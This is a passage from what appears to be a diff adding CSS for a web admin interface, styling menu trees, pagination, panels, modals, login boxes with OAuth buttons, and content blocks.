+ color: var(--color-primary) +} + +.ub-menu-tree .item .title.group-active .title-text, +.ub-menu-tree .item .title:hover .title-text { + color: var(--color-primary) +} + +.ub-menu-tree .item .title:before { + content: ''; + background: var(--icon-arrow) no-repeat center; + background-size: contain; + width: .4rem; + height: .4rem; + opacity: .3; + transform: rotate(0); + transition: all .3s; + position: absolute; + top: .5rem; + left: .25rem +} + +.ub-menu-tree .item .title .title-text { + flex-grow: 1; + width: 0; + padding: .25rem; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis +} + +.ub-menu-tree .item .title .title-action { + padding: .25rem 0 +} + +.ub-menu-tree .item .title .title-action .title-action-icon { + line-height: 1rem; + display: none; + width: 1rem; + text-align: center; + border-radius: .25rem +} + +.ub-menu-tree .item .title .title-action .title-action-icon:hover { + background-color: var(--color-body-block-bg-hover) +} + +.ub-menu-tree .item .title.open:before { + transform: rotate(90deg) +} + +.ub-menu-tree .item .title.open+.group { + display: block +} + +.ub-menu-tree .item .title>.title-action>.title-action-icon.title-action-icon-open { + display: inline-block +} + +.ub-menu-tree .item .title.open>.title-action>.title-action-icon.title-action-icon-open { + display: none +} + +.ub-menu-tree .item .title.open>.title-action>.title-action-icon.title-action-icon-close { + display: inline-block +} + +.ub-menu-tree .item .group { + padding-left: .5rem; + display: none +} + +.page-menu .page-menu-container { + overflow-x: hidden; + overflow-y: auto; + height: 100% +} + +.page-menu-toggle { + display: none +} + +@media screen and (max-width:40rem) { + .page-menu { + position: fixed; + z-index: 100; + width: 50%; + left: -50%; + bottom: 0; + top: 0; + transition: left .3s + } + .page-menu .page-menu-toggle { + display: block; + width: 2.5rem; + height: 2.5rem; + position: absolute; + background: #fff; + bottom: 2.5rem; + right: -2.5rem; + border-radius: 0 var(--size-radius) var(--size-radius) 0; + border-left: none; + font-size: var(--font-size-large); + line-height: 2.5rem; + text-align: center; + color: #c4cfdb; + box-shadow: .1rem 0 .15rem #c4cfdb + } + .page-menu .page-menu-toggle i { + display: block + } + body.ub-menu-page-show { + overflow: hidden + } + body.ub-menu-page-show .page-menu { + transition: left .3s; + left: 0; + box-shadow: .1rem 0 .15rem #c4cfdb + } +} + +.ub-menu-tree-simple { + border-radius: .25rem; + background: #fff; + padding: .5rem; + box-shadow: var(--box-shadow); + transition: top .3s +} + +.ub-menu-tree-simple.close { + width: 2rem +} + +.ub-menu-tree-simple.close .item { + display: none +} + +.ub-menu-tree-simple.close .tool .tool-open { + display: block +} + +.ub-menu-tree-simple.close .tool .tool-close { + display: none +} + +.ub-menu-tree-simple.page .item-container { + max-height: calc(100vh - 7rem) +} + +.ub-menu-tree-simple a { + color: var(--color-text) +} + +.ub-menu-tree-simple a:hover { + color: var(--color-primary) +} + +.ub-menu-tree-simple .item-container { + overflow-x: hidden; + overflow-y: auto +} + +.ub-menu-tree-simple .item { + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + width: 100%; + margin: .25rem 0 +} + +.ub-menu-tree-simple .item.active a { + color: var(--color-primary) +} + +.ub-menu-tree-simple .item.level-1 { + padding-left: 0 +} + +.ub-menu-tree-simple .item.level-2 { + padding-left: .5rem +} + +.ub-menu-tree-simple .item.level-3 { + padding-left: 1rem +} + +.ub-menu-tree-simple .item.level-4 { + padding-left: 1.5rem +} + +.ub-menu-tree-simple .item.level-5 { + padding-left: 2rem +} + +.ub-menu-tree-simple .tool { + text-align: center +} + +.ub-menu-tree-simple .tool a { + display: none; + border-radius: .25rem +} + +.ub-menu-tree-simple .tool a:hover { + background-color: var(--color-body-block-bg-hover) +} + +.ub-menu-tree-simple .tool .tool-close { + display: block +} + +.ub-page .pages { + text-align: center; + padding: 1em 0 +} + +.ub-page .pages a, +.ub-page .pages button, +.ub-page .pages input, +.ub-page .pages span { + display: inline-block; + line-height: 1.5rem; + min-width: 1.5rem; + text-align: center; + padding: 0 .25rem; + color: #666; + margin: 0 .25rem .25rem .25rem; + vertical-align: bottom; + border-radius: .1rem; + text-decoration: none; + background: #fff +} + +.ub-page .pages a.page:hover { + color: var(--color-primary) +} + +.ub-page .pages span.current { + color: #fff; + background: var(--color-primary) +} + +.ub-page .pages span.more { + background: 0 0; + color: inherit +} + +.ub-page .pages .jumpBox { + position: relative; + border: .05rem solid #ccc; + border-radius: .1rem; + padding: 0 +} + +.ub-page .pages .jumpBox input { + width: 4em; + line-height: 1rem; + outline: 0; + margin: 0; + float: left; + border: none; + text-align: center; + height: 1rem +} + +.ub-page .pages .jumpBox button { + width: 4em; + background: #fff; + margin: 0; + right: 0; + float: left; + border: none; + border-left: .05rem dotted #ccc; + outline: 0 +} + +.ub-paginate-mobile { + display: flex; + position: relative; + overflow: hidden; + flex-direction: row; + justify-content: center; + align-items: center +} + +.ub-paginate-mobile__btn { + display: flex; + width: 30%; + height: 30px; + line-height: 30px; + font-size: var(--font-size); + position: relative; + background-color: #eee; + flex-direction: row; + justify-content: center; + align-items: center; + text-align: center; + border-width: 1px; + border-style: solid; + border-color: #eee; + cursor: pointer; + border-radius: .2rem +} + +.ub-paginate-mobile__child-btn { + display: flex; + font-size: var(--font-size); + position: relative; + flex-direction: row; + justify-content: center; + align-items: center; + text-align: center +} + +.ub-paginate-mobile__num { + display: flex; + flex: 1; + flex-direction: row; + justify-content: center; + align-items: center; + height: 30px; + line-height: 30px; + font-size: var(--font-size); + color: #111 +} + +.ub-paginate-mobile__num-page { + display: flex; + flex-direction: row +} + +.ub-paginate-mobile__num-page-text { + font-size: var(--font-size) +} + +.ub-paginate-mobile__num-page-text.current { + color: var(--color-primary) +} + +.ub-paginate-mobile--enabled { + color: #333; + opacity: 1 +} + +.ub-paginate-mobile--disabled { + opacity: .3; + color: #c4cfdb; + cursor: not-allowed +} + +.ub-paginate-mobile--hover { + color: #fff; + background-color: var(--color-primary) +} + +.ub-panel { + background: var(--color-content-bg); + border-radius: var(--size-radius); + margin-bottom: var(--size-margin) +} + +.ub-panel.border-top { + border-top: 2px solid var(--color-primary) +} + +.ub-panel.border-top .head { + border-bottom: 1px solid #eee +} + +.ub-panel.border-top .head .title { + border-left: none; + padding-left: 0 +} + +.ub-panel.margin-top { + margin-top: 1rem +} + +.ub-panel.transparent { + background: 0 0 +} + +.ub-panel.transparent .head { + padding: 0 0 .25rem 0 +} + +.ub-panel.transparent .body { + padding: .75rem 0 0 0 +} + +.ub-panel .head { + padding: .75rem +} + +.ub-panel .head .more { + float: right +} + +.ub-panel .head .title { + display: inline-block; + line-height: 1rem; + font-size: var(--font-size-medium) +} + +.ub-panel .head .title .ub-breadcrumb { + height: 1rem +} + +.ub-panel .head .title .ub-breadcrumb a { + line-height: 1rem +} + +.ub-panel .body { + margin-top: -.75rem; + padding: .75rem +} + +.ub-modal { + display: block; + visibility: hidden; + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1010; + overflow-y: auto; + -webkit-overflow-scrolling: touch; + background: rgba(0, 0, 0, .6); + opacity: 0; + -webkit-transition: opacity .15s linear; + transition: opacity .15s linear; + touch-action: cross-slide-y pinch-zoom double-tap-zoom +} + +.ub-modal.ub-disable-animate { + -webkit-transition: none; + transition: none +} + +.ub-modal.ub-disable-animate .ub-modal-dialog { + -webkit-transition: none; + transition: none +} + +.ub-modal.ub-open { + opacity: 1; + display: block; + visibility: visible +} + +.ub-modal-dialog { + position: relative; + box-sizing: border-box; + margin: 2.5rem auto; + padding: .5rem; + width: 30rem; + max-width: 100%; + max-width: calc(100% - 1rem); + background: #fff; + opacity: 0; + -webkit-transform: translateY(-100px); + transform: translateY(-100px); + -webkit-transition: opacity .3s linear, -webkit-transform .3s ease-in-out; + transition: opacity .3s linear, transform .3s ease-in-out; + border-radius: 3px; + box-shadow: 0 0 .5rem rgba(0, 0, 0, .3) +} + +@media (max-width:40rem) { + .ub-modal-dialog { + width: auto; + margin: .5rem auto + } +} + +.ub-open .ub-modal-dialog { + opacity: 1; + -webkit-transform: translateY(0); + transform: translateY(0) +} + +.ub-modal-dialog>.ub-modal-close { + margin: 0; + float: right; + color: #c4cfdb +} + +.ub-modal-dialog>.ub-modal-close:hover { + color: var(--color-primary) +} + +.ub-modal-dialog>.ub-modal-head { + border-bottom: 1px solid #eee; + padding: 0 0 .5rem 0 +} + +.ub-modal-dialog>.ub-modal-body { + padding: .5rem 0 +} + +.ub-modal-dialog>.ub-modal-foot { + padding: .5rem 0 0 0; + text-align: right; + border-top: 1px solid #eee +} + +:root { + --panel-menu-width: 10rem; + --panel-menu-font-size: 0.7rem; + --panel-menu-logo-font-size: 1rem; + --panel-menu-logo-color: var(--color-primary); + --panel-menu-background: #00101C; + --panel-menu-text-color: #FFF; + --panel-menu-text-color-hover: #FFF; + --panel-menu-active-background: var(--color-primary); + --panel-menu-active-color: #FFF; + --panel-menu-active-border-color: var(--color-primary); + --panel-menu-search-background: #444; + --panel-menu-search-color: #EEE; + --panel-menu-scrollbar-background: #111; + --panel-menu-page-tab-scrollbar-background: var(--color-primary); + --panel-menu-arrow-color: #999 +} + +[data-theme=light] { + --panel-menu-logo-color: var(--color-primary); + --panel-menu-background: #FFF; + --panel-menu-text-color: #333; + --panel-menu-text-color-hover: var(--color-primary); + --panel-menu-active-background: var(--color-primary-light-bg); + --panel-menu-active-color: var(--color-primary); + --panel-menu-active-border-color: var(--color-primary); + --panel-menu-search-background: #EEE; + --panel-menu-search-color: #111; + --panel-menu-search-tip-color: #999; + --panel-menu-scrollbar-background: #CCC; + --panel-menu-page-tab-scrollbar-background: var(--color-primary); + --panel-menu-arrow-color: #999 +} + +.ub-panel-frame { + text-align: left +} + +.ub-panel-frame .left-menu-shrink { + display: none +} + +.ub-panel-frame .left { + position: fixed; + left: 0; + width: var(--panel-menu-width); + top: 0; + bottom: 0; + background: var(--panel-menu-background); + overflow: hidden; + z-index: 2000; + transition: all .2s linear; + outline: 1px solid #eee +} + +.ub-panel-frame .left .logo { + height: 2.25rem; + line-height: 2.25rem; + color: var(--panel-menu-text-color); + font-size: var(--panel-menu-logo-font-size); + display: block; + text-align: left; + padding: 0 .75rem; + transition: all .2s linear +} + +.ub-panel-frame .left .logo .img { + width: 2.25rem; + height: 2.25rem; + display: inline-block; + vertical-align: top +} + +.ub-panel-frame .left .logo .icon { + display: inline-block; + width: auto; + height: 2.25rem; + text-align: center; + color: var(--panel-menu-logo-color) +} + +.ub-panel-frame .left .menu { + background: var(--panel-menu-background); + position: fixed; + top: 2.25rem; + left: 0; + width: var(--panel-menu-width); + bottom: 0; + overflow: auto; + transition: all .2s linear +} + +.ub-panel-frame .left .menu.moving { + cursor: grab +} + +.ub-panel-frame .left .menu.moving * { + cursor: grab +} + +.ub-panel-frame .left .menu mark { + color: red; + background: 0 0 +} + +.ub-panel-frame .left .menu [data-keywords-filter=hide], +.ub-panel-frame .left .menu [data-keywords-item=hide] { + display: none !important +} + +.ub-panel-frame .left .menu [data-keywords-item=show] { + display: block !important +} + +.ub-panel-frame .left .menu .menu-search-container { + width: 100%; + height: 2.5rem; + position: relative; + overflow: hidden; + padding: .5rem .75rem +} + +.ub-panel-frame .left .menu .menu-search-container input { + height: 1.5rem; + background: var(--panel-menu-search-background); + border: none; + font-size: .65rem; + width: 100%; + color: var(--panel-menu-search-color); + padding-left: 1.5rem; + border-radius: 1rem +} + +.ub-panel-frame .left .menu .menu-search-container input::-webkit-input-placeholder { + color: var(--panel-menu-search-tip-color); + font-size: .65rem +} + +.ub-panel-frame .left .menu .menu-search-container input::-moz-placeholder { + color: var(--panel-menu-search-tip-color); + font-size: .65rem +} + +.ub-panel-frame .left .menu .menu-search-container input::-ms-input-placeholder { + color: var(--panel-menu-search-tip-color); + font-size: .65rem +} + +.ub-panel-frame .left .menu .menu-search-container i { + display: block; + position: absolute; + z-index: 1000; + left: .5rem; + top: .25rem; + height: 2rem; + line-height: 2rem; + width: 2.25rem; + text-align: center; + color: var(--panel-menu-search-color); + font-size: .65rem +} + +.ub-panel-frame .left .menu::-webkit-scrollbar-track { + background: 0 0 +} + +.ub-panel-frame .left .menu::-webkit-scrollbar { + width: 1px; + height: 1px +} + +.ub-panel-frame .left .menu::-webkit-scrollbar-thumb { + background: var(--panel-menu-scrollbar-background) +} + +.ub-panel-frame .left .menu>.menu-item .title { + padding-left: .75rem +} + +.ub-panel-frame .left .menu>.menu-item .children>.menu-item .title { + padding-left: 1.8rem +} + +.ub-panel-frame .left .menu>.menu-item .children>.menu-item .children>.menu-item .title { + padding-left: 2.3rem; + font-size: var(--font-size-small); + padding-right: .5rem +} + +.ub-panel-frame .left .menu .menu-item.active:not(:has(.children)) { + background: var(--panel-menu-active-background); + color: var(--panel-menu-active-color); + border-right: 3px solid var(--panel-menu-active-border-color) +} + +.ub-panel-frame .left .menu .menu-item.active>.title { + color: var(--panel-menu-active-color) +} + +.ub-panel-frame .left .menu .menu-item .title { + line-height: 2.3rem; + display: block; + position: relative; + overflow: hidden; + padding-right: 1rem; + white-space: nowrap; + text-overflow: ellipsis; + font-size: var(--panel-menu-font-size); + color: var(--panel-menu-text-color) +} + +.ub-panel-frame .left .menu .menu-item .title:hover { + color: var(--panel-menu-text-color-hover) +} + +.ub-panel-frame .left .menu .menu-item .title .icon { + display: inline-block; + width: 1.2em +} + +.ub-panel-frame .left .menu .menu-item .title .arrow { + width: 0; + height: 0; + display: block; + border: .215rem solid var(--panel-menu-arrow-color); + border-color: transparent transparent transparent var(--panel-menu-arrow-color); + position: absolute; + right: .5rem; + top: .8rem; + transition: all .2s linear; + transform-origin: 25% 50% 0; + transform: rotateZ(90deg) +} + +.ub-panel-frame .left .menu .menu-item .title.open .arrow { + transform: rotateZ(-90deg) +} + +.ub-panel-frame .left .menu .menu-item .title.open+.children { + max-height: 1000px; + transition: max-height .2s ease-in +} + +.ub-panel-frame .left .menu .menu-item .children { + display: block; + max-height: 0; + overflow: hidden; + transition: max-height .2s ease-out +} + +.ub-panel-frame .right { + position: fixed; + left: var(--panel-menu-width); + right: 0; + top: 0; + bottom: 0; + transition: all .2s linear +} + +.ub-panel-frame .right .top { + height: 2.25rem; + background: #fff; + border-bottom: .05rem solid #eee; + transition: .5s; + text-align: left; + display: flex +} + +.ub-panel-frame .right .top .right-menu-trigger { + display: none +} + +.ub-panel-frame .right .top .left-action, +.ub-panel-frame .right .top .left-trigger { + display: inline-block; + line-height: 2.25rem; + padding: 0 .5rem; + color: #c4cfdb; + font-size: var(--font-size-large); + vertical-align: middle; + transition: all .2s linear +} + +.ub-panel-frame .right .top .left-action:hover, +.ub-panel-frame .right .top .left-trigger:hover { + color: var(--color-primary) +} + +.ub-panel-frame .right .top .menu { + vertical-align: middle; + flex-grow: 1; + overflow-y: hidden; + overflow-x: auto; + white-space: nowrap +} + +.ub-panel-frame .right .top .menu.moving { + cursor: grab +} + +.ub-panel-frame .right .top .menu.moving * { + cursor: grab +} + +.ub-panel-frame .right .top .menu::-webkit-scrollbar-track { + background: 0 0 +} + +.ub-panel-frame .right .top .menu::-webkit-scrollbar { + width: 1px; + height: 1px +} + +.ub-panel-frame .right .top .menu::-webkit-scrollbar-thumb { + background: var(--panel-menu-page-tab-scrollbar-background) +} + +.ub-panel-frame .right .top .menu a { + line-height: 2.1rem; + color: #333; + padding: 0 .5rem; + display: inline-block; + border-top: .1rem solid #fff; + text-decoration: none; + transition: none +} + +.ub-panel-frame .right .top .menu a .close { + color: var(--color-tertiary) +} + +.ub-panel-frame .right .top .menu a .close:hover { + background-color: red; + border-radius: 50%; + color: #fff +} + +.ub-panel-frame .right .top .menu a.active { + border-color: var(--color-primary); + color: var(--color-primary); + background-color: #edefff +} + +.ub-panel-frame .right .top .menu a.active:before { + content: ''; + background-color: var(--color-primary); + width: 6px; + height: 6px; + display: inline-block; + border-radius: 50%; + vertical-align: middle; + margin-top: -2px; + margin-right: 4px +} + +.ub-panel-frame .right .top .menu a:hover { + color: var(--color-primary) +} + +.ub-panel-frame .right .top .menu-right { + padding-right: 1rem; + flex-shrink: 0 +} + +.ub-panel-frame .right .top .menu-right .menu-item { + display: inline-block; + position: relative +} + +.ub-panel-frame .right .top .menu-right .menu-item .title { + line-height: 2.25rem; + color: #111; + padding: 0 .5rem; + display: inline-block +} + +.ub-panel-frame .right .top .menu-right .menu-item .title:hover { + color: var(--color-primary) +} + +.ub-panel-frame .right .top .menu-right .menu-item .dropdown { + display: none; + position: absolute; + background: #fff; + padding: 0 .25rem; + box-shadow: 0 0 5px #ccc; + border-radius: 3px; + z-index: 1000; + right: 0; + top: 2.25rem +} + +.ub-panel-frame .right .top .menu-right .menu-item .dropdown .dropdown-item { + display: block; + white-space: nowrap; + height: 2rem; + line-height: 2rem; + padding: 0 .5rem; + color: #111 +} + +.ub-panel-frame .right .top .menu-right .menu-item .dropdown .dropdown-item:hover { + color: var(--color-primary) +} + +.ub-panel-frame .right .top .menu-right .menu-item:hover .dropdown { + display: block +} + +.ub-panel-frame .right .content.fixed { + position: fixed; + top: 2.25rem; + bottom: 0; + left: var(--panel-menu-width); + right: 0; + overflow: auto; + transition: all .2s linear; + padding: .5rem +} + +.ub-panel-frame .right .content-fixed-bottom-toolbox { + position: fixed; + bottom: 0; + right: 0; + left: var(--panel-menu-width); + background: #fff; + padding: .5rem; + box-shadow: 0 0 4px #ccc; + z-index: 1000; + transition: all .2s linear +} + +.ub-panel-frame .right .content-fixed-bottom-toolbox-placeholder { + height: 2rem; + clear: both; + overflow: hidden +} + +[data-page-is-tab] .content-fixed-bottom-toolbox { + position: fixed; + bottom: 0; + right: 0; + left: 0; + background: #fff; + padding: .5rem; + box-shadow: 0 0 4px #ccc; + z-index: 1000; + transition: all .2s linear +} + +[data-page-is-tab] .content-fixed-bottom-toolbox-placeholder { + height: 2rem; + clear: both; + overflow: hidden +} + +@media (min-width:40rem) { + .ub-panel-frame { + overflow: hidden + } + .ub-panel-frame.left-toggle .left:not(:hover) { + width: 2.25rem + } + .ub-panel-frame.left-toggle .left:not(:hover) .logo { + padding: 0 + } + .ub-panel-frame.left-toggle .left:not(:hover) .logo .icon { + font-size: var(--font-size-large); + width: 2.25rem + } + .ub-panel-frame.left-toggle .left:not(:hover) .logo .text { + display: none + } + .ub-panel-frame.left-toggle .left:not(:hover) .menu { + width: 2.25rem + } + .ub-panel-frame.left-toggle .left:not(:hover) .menu .menu-search-container { + display: none + } + .ub-panel-frame.left-toggle .left:not(:hover) .menu .menu-item .title { + text-overflow: initial; + padding: 0; + text-align: center + } + .ub-panel-frame.left-toggle .left:not(:hover) .menu .menu-item .title .icon { + text-align: center + } + .ub-panel-frame.left-toggle .left:not(:hover) .menu .menu-item .title .arrow { + display: none + } + .ub-panel-frame.left-toggle .left:not(:hover) .menu .menu-item .title .text { + display: none + } + .ub-panel-frame.left-toggle .right { + left: 2.25rem + } + .ub-panel-frame.left-toggle .right .top .left-trigger { + transform: rotateZ(90deg) + } + .ub-panel-frame.left-toggle .right .content.fixed { + left: 2.25rem + } + .ub-panel-frame.left-toggle .right .content-fixed-bottom-toolbox { + left: 2.25rem + } +} + +@media (max-width:40rem) { + .ub-panel-frame.left-toggle .left-menu-shrink { + display: block + } + .ub-panel-frame.left-toggle .left { + left: 0 + } + .ub-panel-frame.left-toggle .left .menu { + left: 0 + } + .ub-panel-frame.left-toggle .right { + left: 0 + } + .ub-panel-frame.left-toggle .right .content.fixed { + left: 0 + } + .ub-panel-frame .left-menu-shrink { + display: none; + position: fixed; + background: rgba(0, 0, 0, .5); + top: 0; + left: 0; + right: 0; + bottom: 0; + z-index: 1999 + } + .ub-panel-frame .left { + left: calc(0rem - var(--panel-menu-width)) + } + .ub-panel-frame .left .menu { + left: calc(0rem - var(--panel-menu-width)) + } + .ub-panel-frame .right { + left: 0 + } + .ub-panel-frame .right .top .right-menu-trigger { + display: block; + float: right; + height: 2.25rem; + width: 2.25rem; + line-height: 2.25rem; + text-align: center; + color: #c4cfdb; + font-size: var(--font-size-large); + transition: all .2s linear + } + .ub-panel-frame .right .top .right-menu-trigger:hover { + transform: rotateZ(90deg) + } + .ub-panel-frame .right .top .right-menu-trigger:hover+.menu-right { + display: flex + } + .ub-panel-frame .right .top .menu-right { + width: 5rem; + background: #fff; + position: fixed; + top: 2.25rem; + right: 0; + border: #fff; + z-index: 1000; + border-radius: 0 0 .2rem .2rem; + box-shadow: 0 0 3px #eee; + padding-right: 0; + display: none; + flex-wrap: wrap + } + .ub-panel-frame .right .top .menu-right:hover { + display: flex + } + .ub-panel-frame .right .top .menu-right .menu-item { + flex-grow: 1 + } + .ub-panel-frame .right .top .menu-right .menu-item .title { + color: #111; + display: block + } + .ub-panel-frame .right .top .menu-right .menu-item .dropdown { + display: block; + position: static; + box-shadow: none; + border-radius: 0 + } + .ub-panel-frame .right .top .menu-right .menu-item .dropdown .dropdown-item { + padding: 0 .25rem + } + .ub-panel-frame .right .content.fixed { + left: 0 + } + .ub-panel-frame .right .content-fixed-bottom-toolbox { + left: 0 + } +} + +.ub-panel-dialog { + position: relative +} + +.ub-panel-dialog.no-foot .panel-dialog-body { + bottom: 0 +} + +.ub-panel-dialog .panel-dialog-body { + position: fixed; + top: 0; + left: 0; + right: 0; + bottom: 2.5rem; + padding: .5rem; + overflow: auto +} + +.ub-panel-dialog .panel-dialog-foot { + position: fixed; + bottom: 0; + right: 0; + left: 0; + text-align: right; + padding: .5rem; + height: 2.5rem; + box-sizing: border-box; + background: #fff; + z-index: 1000; + box-shadow: 0 0 10px #eee; + animation: fadein 1s ease 0s normal forwards 1; + -webkit-animation: fadein 1s ease 0s normal forwards 1; + opacity: 0 +} + +.ub-panel-dialog .panel-dialog-foot.left { + text-align: left +} + +@keyframes fadein { + 0% { + opacity: 0 + } + 66% { + opacity: 0 + } + 100% { + opacity: 1 + } +} + +@-webkit-keyframes fadein { + 0% { + opacity: 0 + } + 66% { + opacity: 0 + } + 100% { + opacity: 1 + } +} + +.ub-account { + min-height: calc(100vh - 240px); + padding: 2rem +} + +.ub-account .box { + background: #fff; + max-width: 40rem; + box-shadow: 0 0 .3rem rgba(0, 0, 0, .1); + box-sizing: border-box; + border-radius: var(--size-radius); + padding: 1rem 0; + margin: 0 auto; + text-align: center +} + +.ub-account .box.wide { + max-width: 34rem; + width: 34rem +} + +.ub-account .box .logo { + text-align: center +} + +.ub-account .box .logo a { + display: inline-block; + text-decoration: none +} + +.ub-account .box .logo a img { + height: 2rem; + vertical-align: middle +} + +.ub-account .box .nav { + font-size: var(--font-size-large); + color: #c4cfdb; + margin-top: 1rem +} + +.ub-account .box .nav a { + color: #c4cfdb; + text-decoration: none; + font-size: var(--font-size-large) +} + +.ub-account .box .nav a.active { + color: var(--color-primary) +} + +.ub-account .box .ub-form { + padding: 1.5rem 1.5rem 0 1.5rem +} + +.ub-account .box .ub-form .line .field .help { + text-align: left +} + +.ub-account .oauth { + padding-top: 1rem; + text-align: center; + color: #c4cfdb +} + +.ub-account .oauth .title { + border-top: 1px solid #e9edf0; + margin: 0 2rem +} + +.ub-account .oauth .title .line { + width: 3rem; + background: #fff; + display: block; + margin: 0 auto; + line-height: 1rem; + margin-top: -.5rem +} + +.ub-account .oauth .body { + padding: 1rem 0 +} + +.ub-account .oauth a { + display: inline-block; + width: 2rem; + height: 2rem; + background: #c4cfdb; + color: #fff; + border-radius: 50%; + text-align: center; + margin: .1rem; + text-decoration: none +} + +.ub-account .oauth a:hover { + box-shadow: 0 0 5px rgb(0 0 0%) +} + +.ub-account .oauth a i { + font-size: 1rem; + line-height: 2rem +} + +.ub-account .oauth a.qq { + background: #498ad5 +} + +.ub-account .oauth a.qq:hover { + background: #2c70bf +} + +.ub-account .oauth a.weibo { + background: #e05244 +} + +.ub-account .oauth a.weibo:hover { + background: #cf3222 +} + +.ub-account .oauth a.wechat { + background: #00bb29 +} + +.ub-account .oauth a.wechat:hover { + background: #00881e +} + +.ub-account .retrieve { + text-align: center; + color: #c4cfdb; + margin-top: 1rem +} + +@media (max-width:800px) { + .ub-account { + padding: 0; + min-height: 100vh + } + .ub-account .box { + margin: 0 auto; + max-width: 20rem; + box-shadow: none + } + .ub-account .box.wide { + width: auto + } +} + +.ub-content { + margin-bottom: .5rem; + background-size: cover; + background-position: center; + background-repeat: no-repeat +} + +.ub-content .head { + padding: .5rem 0 +} + +.ub-content .head .title { + font-size: 1.5rem; + font-weight: 500; + color: var(--color-text); + text-align: center +} + +.ub-content .head .sub-title { + font-size: .8rem; + text-align: center; + color: var(--color-text); + margin-top: 1rem +} + +.ub-content .body { + padding: .5rem 0 +} + +.ub-content .foot { + padding: .5rem 0; + text-align: center +} + +.ub-content .item-basic .h1 { + font-size: 1.5rem +} + +.ub-content .item-basic .h2 { + font-size: 1rem +} + +.ub-content .item-basic .h3 { + font-size: .8rem +} + +.ub-content .item-basic .text-white { + color: #fff +} + +.ub-content .item-basic .width-narrow { + max-width: 600px +} + +.ub-content .item-basic .margin-auto { + margin: 0 auto +} + +.ub-content .item-a { + text-align: center; + display: block; + padding: 1rem 0; + line-height: 1.5; + text-decoration: none; + width: 100%; + margin-bottom: .5rem +} + +.ub-content .item-a:hover .icon, +.ub-content .item-a:hover .image { + transform: scale(1.1) +} + +.ub-content .item-a .icon { + font-size: 3rem; + line-height: 3rem; + height: 3rem; + text-align: center; + display: block; + transition: all .1s linear +} + +.ub-content .item-a .image { + width: 60%; + margin: 0 auto; + outline: 0; + transition: all .1s linear +} + +.ub-content .item-a .title { + height: 2rem; + line-height: 1rem; + overflow: hidden; + padding-top: 1rem; + text-overflow: ellipsis; + white-space: nowrap; + font-size: .9rem; + font-weight: 500; + color: var(--color-text) +} + +.ub-content .item-a .slogan { + color: #c4cfdb; + line-height: 1rem; + height: 2rem; + padding-top: 1rem; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap +} + +.ub-content .item-b { + border-radius: .25rem; + background: #fff; + width: 100%; + overflow: hidden; + box-shadow: 0 0 .5rem #eee; + text-align: center; + padding: 1rem; + margin-bottom: .5rem +} + +.ub-content .item-b .title { + height: 2rem; + line-height: 1rem; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + font-size: 1rem; + font-weight: 600; + color: var(--color-text); + padding: 1rem 0 0 0 +} + +.ub-content .item-b .slogan { + font-size: .8rem; + color: var(--color-text); + text-align: center; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + padding: 1rem 0 0 0 +} + +.ub-content .item-b .desc { + font-size: .7rem; + color: #8a889a; + line-height: 1.25rem; + text-align: center; + display: block; + padding: 1rem 0 0 0; + width: 80%; + margin: 0 auto +} + +.ub-content .item-b .image { + border-top: .05rem dashed #eee; + margin: 0 -1rem 0 -1rem; + padding: 1rem 1rem 0 1rem; + margin-top: 1rem +} + +.ub-content .item-c { + text-align: center; + display: block; + padding: 1rem; + line-height: 1.5; + border-radius: .2rem; + text-decoration: none; + width: 100% +} + +.ub-content .item-c .image { + width: 60%; + margin: 0 auto; + outline: 0; + transition: linear all .2s +} + +.ub-content .item-c .image:hover { + transform: scale(1.1) +} + +.ub-content .item-c .title { + height: 2rem; + line-height: 1rem; + overflow: hidden; + padding-top: 1rem; + text-overflow: ellipsis; + white-space: nowrap; + font-size: .9rem; + font-weight: 500; + color: var(--color-text) +} + +.ub-content .item-d { + border-radius: .25rem; + background: #fff; + width: 100%; + overflow: hidden; + box-shadow: 0 0 .5rem #eee; + padding: 1rem; + margin-bottom: .5rem +} + +.ub-content .item-d .logo { + float: right; + width: 30%; + height: 2rem; + overflow: hidden +} + +.ub-content .item-d .title { + height: 2rem; + line-height: 1rem; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + padding: .5rem 0 0 0; + font-size: .9rem; + font-weight: 500; + color: #1e2844 +} + +.ub-content .item-d .desc { + border-top: .05rem dashed #eee; + margin: 1rem 0 0 0; + font-size: .7rem; + color: #8a889a; + line-height: 1.25rem; + display: block; + padding: 1rem 0 0 0; + height: 10rem; + overflow: hidden +} + +.ub-content .item-d .desc:before { + content: "“"; + font-size: 2.5rem; + line-height: 1.5rem; + color: #1f2841; + display: block; + text-align: left +} + +.ub-content .item-d .desc:after { + content: "”"; + font-size: 2.5rem; + line-height: 1.5rem; + color: #1f2841; + display: block; + text-align: right +} + +.ub-content .item-e { + overflow: hidden +} + +.ub-content .item-e:nth-child(even) .image { + float: right +} + +.ub-content .item-e:nth-child(even) .text { + float: right +} + +.ub-content .item-e .image { + float: left; + width: 50%; + padding: 1rem 0 +} + +.ub-content .item-e .image .cover { + width: 80%; + margin: 0 auto; + transition: all linear .2s +} + +.ub-content .item-e .image .cover:hover { + transform: translateY(-.5rem) +} + +.ub-content .item-e .text { + float: left; + width: 50%; + padding: 1rem 3rem +} + +.ub-content .item-e .text .title { + color: #12263c; + font-weight: 700; + font-size: 1rem +} + +.ub-content .item-e .text .sub-title { + font-size: .8rem; + color: var(--color-primary); + margin-top: 1rem; + font-weight: 700 +} + +.ub-content .item-e .text .desc { + font-size: .7rem; + color: #00133b; + line-height: 1rem; + margin-top: 1rem +} + +.ub-content .item-e .text .desc p { + margin: 0; + padding: 0; + line-height: 1.2rem; + color: #c4cfdb +} + +@media screen and (max-width:40rem) { + .ub-content .item-e .image { + float: none !important; + width: auto !important; + padding: 0 !important + } + .ub-content .item-e .text { + float: none !important; + width: 80% !important; + padding: 0 !important; + margin: 0 auto !important + } +} + +.ub-content .panel-a { + color: #fff; + padding: 2rem; + text-align: left +} + +.ub-content .panel-a .box { + max-width: var(--container-width); + margin: 0 auto +} + +.ub-content .panel-a .box .title { + font-size: 1.8rem; + line-height: 2rem +} + +.ub-content .panel-a .box .sub-title { + margin-top: .8rem; + font-size: var(--font-size-medium) +} + +.ub-content .panel-b { + color: #fff; + padding: 1.5rem; + text-align: left; + position: relative; + overflow: hidden +} + +.ub-content .panel-b .bg, +.ub-content .panel-b .mask { + 